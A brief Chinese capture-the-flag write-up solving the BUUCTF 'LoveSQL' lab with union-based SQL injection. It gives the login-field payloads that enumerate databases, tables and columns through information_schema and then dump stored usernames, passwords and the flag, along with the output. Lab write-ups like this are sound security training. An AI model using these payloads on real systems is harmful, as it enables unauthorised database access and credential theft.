☆ BUUCTF靶场10 --[极客大挑战 2019]LoveSQL

mind

☆ BUUCTF靶场10 -- [极客大挑战 2019]LoveSQL



碰见输入框，万能密码[用户名]

[SQL] 纯文本查看 复制代码

1' union select 1,2,database();#

Hello 2！
Your password is 'geek'
库：1' union select 1,group_concat(schema_name),3 from information_schema.schemata;#
表：1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#
列：1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1';#
flag：1' union select 1,group_concat(username,"=",password),3 from  geek.l0ve1ysq1;#

库：
    Hello information_schema,mysql,performance_schema,test,geek！
    Your password is '3'



表：
    Hello geekuser,l0ve1ysq1！
    Your password is '3'


列：
    Hello id,username,password！
    Your password is '3'

Flag:
    Hello cl4y=wo_tai_nan_le,glzjin=glzjin_wants_a_girlfriend,Z4cHAr7zCr=biao_ge_dddd_hm,0xC4m3l=linux_chuang_shi_ren,Ayrain=a_rua_rain,Akko=yan_shi_fu_de_mao_bo_he,fouc5=cl4y,fouc5=di_2_kuai_fu_ji,fouc5=di_3_kuai_fu_ji,fouc5=di_4_kuai_fu_ji,fouc5=di_5_kuai_fu_ji,fouc5=di_6_kuai_fu_ji,fouc5=di_7_kuai_fu_ji,fouc5=di_8_kuai_fu_ji,leixiao=Syc_san_da_hacker,flag=flag{1139aeee-968c-45ee-986f-69b548fdda3c}！